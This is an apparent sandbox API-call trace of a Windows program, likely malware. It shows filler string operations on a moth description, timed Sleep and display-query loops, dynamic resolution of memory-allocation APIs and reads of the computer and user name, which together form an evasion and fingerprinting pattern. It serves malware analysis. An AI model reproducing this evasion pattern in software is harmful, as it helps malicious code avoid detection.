[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x68a1f0
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.444] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="MW6UXG5INSLV3OW83") returned 17
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x68a4f0
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.445] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.446] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.446] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="4UZXDQ0X09Y4A05RMA") returned 18
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x693aa0
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.447] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.448] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.448] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.448] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.448] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.448] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.449] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.449] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.449] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x1d010984
[0046.449] GetDeviceCaps (hdc=0x1d010984, index=8) returned 1440
[0046.449] ReleaseDC (hWnd=0x0, hDC=0x1d010984) returned 1
[0046.449] Sleep (dwMilliseconds=0x1)
[0046.521] Sleep (dwMilliseconds=0x4)
[0046.531] Sleep (dwMilliseconds=0x8)
[0046.545] Sleep (dwMilliseconds=0x8)
[0046.587] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x1e010984
[0046.587] GetDeviceCaps (hdc=0x1e010984, index=8) returned 1440
[0046.587] ReleaseDC (hWnd=0x0, hDC=0x1e010984) returned 1
[0046.587] Sleep (dwMilliseconds=0x1)
[0046.599] Sleep (dwMilliseconds=0x4)
[0046.608] Sleep (dwMilliseconds=0x8)
[0046.666] Sleep (dwMilliseconds=0x8)
[0046.688] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x1f010984
[0046.688] GetDeviceCaps (hdc=0x1f010984, index=8) returned 1440
[0046.688] ReleaseDC (hWnd=0x0, hDC=0x1f010984) returned 1
[0046.688] Sleep (dwMilliseconds=0x1)
[0046.693] Sleep (dwMilliseconds=0x4)
[0046.736] Sleep (dwMilliseconds=0x8)
[0046.755] Sleep (dwMilliseconds=0x8)
[0046.815] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76840000
[0046.815] GetProcAddress (hModule=0x76840000, lpProcName="LoadLibraryA") returned 0x76864bf0
[0046.816] GetProcAddress (hModule=0x76840000, lpProcName="GetProcAddress") returned 0x768578b0
[0046.816] GetProcAddress (hModule=0x76840000, lpProcName="lstrcatA") returned 0x7685f640
[0046.816] GetProcAddress (hModule=0x76840000, lpProcName="Sleep") returned 0x76857990
[0046.816] GetProcAddress (hModule=0x76840000, lpProcName="GetSystemTime") returned 0x76864940
[0046.816] GetProcAddress (hModule=0x76840000, lpProcName="ExitProcess") returned 0x76867b30
[0046.816] GetProcAddress (hModule=0x76840000, lpProcName="GetCurrentProcess") returned 0x768538c0
[0046.817] GetProcAddress (hModule=0x76840000, lpProcName="VirtualAllocExNuma") returned 0x76882710
[0046.817] GetProcAddress (hModule=0x76840000, lpProcName="VirtualAlloc") returned 0x76857810
[0046.817] GetProcAddress (hModule=0x76840000, lpProcName="VirtualFree") returned 0x76857600
[0046.817] GetProcAddress (hModule=0x76840000, lpProcName="lstrcmpiW") returned 0x76857590
[0046.817] GetProcAddress (hModule=0x76840000, lpProcName="LocalAlloc") returned 0x76857a30
[0046.817] GetProcAddress (hModule=0x76840000, lpProcName="GetComputerNameA") returned 0x7685fbf0
[0046.817] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76df0000
[0046.817] GetProcAddress (hModule=0x76df0000, lpProcName="GetUserNameA") returned 0x76e12910
[0046.819] Sleep (dwMilliseconds=0x1)
[0046.848] Sleep (dwMilliseconds=0x4)
[0046.864] Sleep (dwMilliseconds=0x8)
[0046.913] Sleep (dwMilliseconds=0x8)
[0046.938] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x20010984
[0046.938] GetDeviceCaps (hdc=0x20010984, index=8) returned 1440
[0046.939] ReleaseDC (hWnd=0x0, hDC=0x20010984) returned 1
[0046.939] Sleep (dwMilliseconds=0x1)
[0046.941] Sleep (dwMilliseconds=0x4)
[0046.973] Sleep (dwMilliseconds=0x8)
[0046.990] Sleep (dwMilliseconds=0x8)
[0047.024] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x21010984
[0047.024] GetDeviceCaps (hdc=0x21010984, index=8) returned 1440
[0047.024] ReleaseDC (hWnd=0x0, hDC=0x21010984) returned 1
[0047.025] Sleep (dwMilliseconds=0x1)
[0047.036] Sleep (dwMilliseconds=0x4)
[0047.092] Sleep (dwMilliseconds=0x8)
[0047.149] Sleep (dwMilliseconds=0x8)
[0047.161] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x22010984
[0047.162] GetDeviceCaps (hdc=0x22010984, index=8) returned 1440
[0047.162] ReleaseDC (hWnd=0x0, hDC=0x22010984) returned 1
[0047.162] Sleep (dwMilliseconds=0x1)
[0047.214] Sleep (dwMilliseconds=0x4)
[0047.225] Sleep (dwMilliseconds=0x8)
[0047.260] Sleep (dwMilliseconds=0x8)
[0047.273] GetComputerNameA (in: lpBuffer=0x193458, nSize=0x193454 | out: lpBuffer="XC64ZB", nSize=0x193454) returned 1
[0047.274] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x23010984
[0047.274] GetDeviceCaps (hdc=0x23010984, index=8) returned 1440
[0047.274] ReleaseDC (hWnd=0x0, hDC=0x23010984) returned 1
[0047.274] Sleep (dwMilliseconds=0x1)
[0047.334] Sleep (dwMilliseconds=0x4)
[0047.348] Sleep (dwMilliseconds=0x8)
[0047.396] Sleep (dwMilliseconds=0x8)
[0047.467] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x24010984
[0047.468] GetDeviceCaps (hdc=0x24010984, index=8) returned 1440
[0047.468] ReleaseDC (hWnd=0x0, hDC=0x24010984) returned 1
[0047.468] Sleep (dwMilliseconds=0x1)
[0047.479] Sleep (dwMilliseconds=0x4)
[0047.522] Sleep (dwMilliseconds=0x8)
[0047.536] Sleep (dwMilliseconds=0x8)
[0047.552] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x25010984
[0047.552] GetDeviceCaps (hdc=0x25010984, index=8) returned 1440
[0047.552] ReleaseDC (hWnd=0x0, hDC=0x25010984) returned 1
[0047.552] Sleep (dwMilliseconds=0x1)
[0047.591] Sleep (dwMilliseconds=0x4)
[0047.600] Sleep (dwMilliseconds=0x8)
[0047.613] Sleep (dwMilliseconds=0x8)
[0047.651] GetComputerNameA (in: lpBuffer=0x193458, nSize=0x193454 | out: lpBuffer="XC64ZB", nSize=0x193454) returned 1
[0047.651] Sleep (dwMilliseconds=0x1)
[0047.661] Sleep (dwMilliseconds=0x4)
[0047.716] Sleep (dwMilliseconds=0x8)
[0047.767] Sleep (dwMilliseconds=0x8)
[0047.785] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x26010984
[0047.785] GetDeviceCaps (hdc=0x26010984, index=8) returned 1440
[0047.786] ReleaseDC (hWnd=0x0, hDC=0x26010984) returned 1
[0047.786] Sleep (dwMilliseconds=0x1)
[0047.829] Sleep (dwMilliseconds=0x4)
[0047.850] Sleep (dwMilliseconds=0x8)
[0047.911] Sleep (dwMilliseconds=0x8)
[0047.927] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x27010984
[0047.927] GetDeviceCaps (hdc=0x27010984, index=8) returned 1440
[0047.927] ReleaseDC (hWnd=0x0, hDC=0x27010984) returned 1
[0047.927] Sleep (dwMilliseconds=0x1)
[0047.958] Sleep (dwMilliseconds=0x4)
[0048.011] Sleep (dwMilliseconds=0x8)
[0048.022] Sleep (dwMilliseconds=0x8)
[0048.041] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x28010984
[0048.041] GetDeviceCaps (hdc=0x28010984, index=8) returned 1440
[0048.041] ReleaseDC (hWnd=0x0, hDC=0x28010984) returned 1
[0048.041] Sleep (dwMilliseconds=0x1)
[0048.052] Sleep (dwMilliseconds=0x4)
[0048.072] Sleep (dwMilliseconds=0x8)
[0048.082] Sleep (dwMilliseconds=0x8)
[0048.110] GetComputerNameA (in: lpBuffer=0x193458, nSize=0x193454 | out: lpBuffer="XC64ZB", nSize=0x193454) returned 1
[0048.110] Sleep (dwMilliseconds=0x1)
[0048.113] Sleep (dwMilliseconds=0x4)
[0048.155] Sleep (dwMilliseconds=0x8)
[0048.247] Sleep (dwMilliseconds=0x8)
[0048.271] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x29010984
[0048.271] GetDeviceCaps (hdc=0x29010984, index=8) returned 1440
[0048.271] ReleaseDC (hWnd=0x0, hDC=0x29010984) returned 1
[0048.271] Sleep (dwMilliseconds=0x1)
[0048.391] Sleep (dwMilliseconds=0x4)
[0048.411] Sleep (dwMilliseconds=0x8)
[0048.454] Sleep (dwMilliseconds=0x8)
[0048.474] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x2a010984
[0048.474] GetDeviceCaps (hdc=0x2a010984, index=8) returned 1440
[0048.474] ReleaseDC (hWnd=0x0, hDC=0x2a010984) returned 1
[0048.475] Sleep (dwMilliseconds=0x1)
[0048.513] Sleep (dwMilliseconds=0x4)
[0048.526] Sleep (dwMilliseconds=0x8)
[0048.539] Sleep (dwMilliseconds=0x8)
[0048.590] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x2b010984
[0048.590] GetDeviceCaps (hdc=0x2b010984, index=8) returned 1440
[0048.590] ReleaseDC (hWnd=0x0, hDC=0x2b010984) returned 1
[0048.590] Sleep (dwMilliseconds=0x1)
[0048.600] Sleep (dwMilliseconds=0x3)
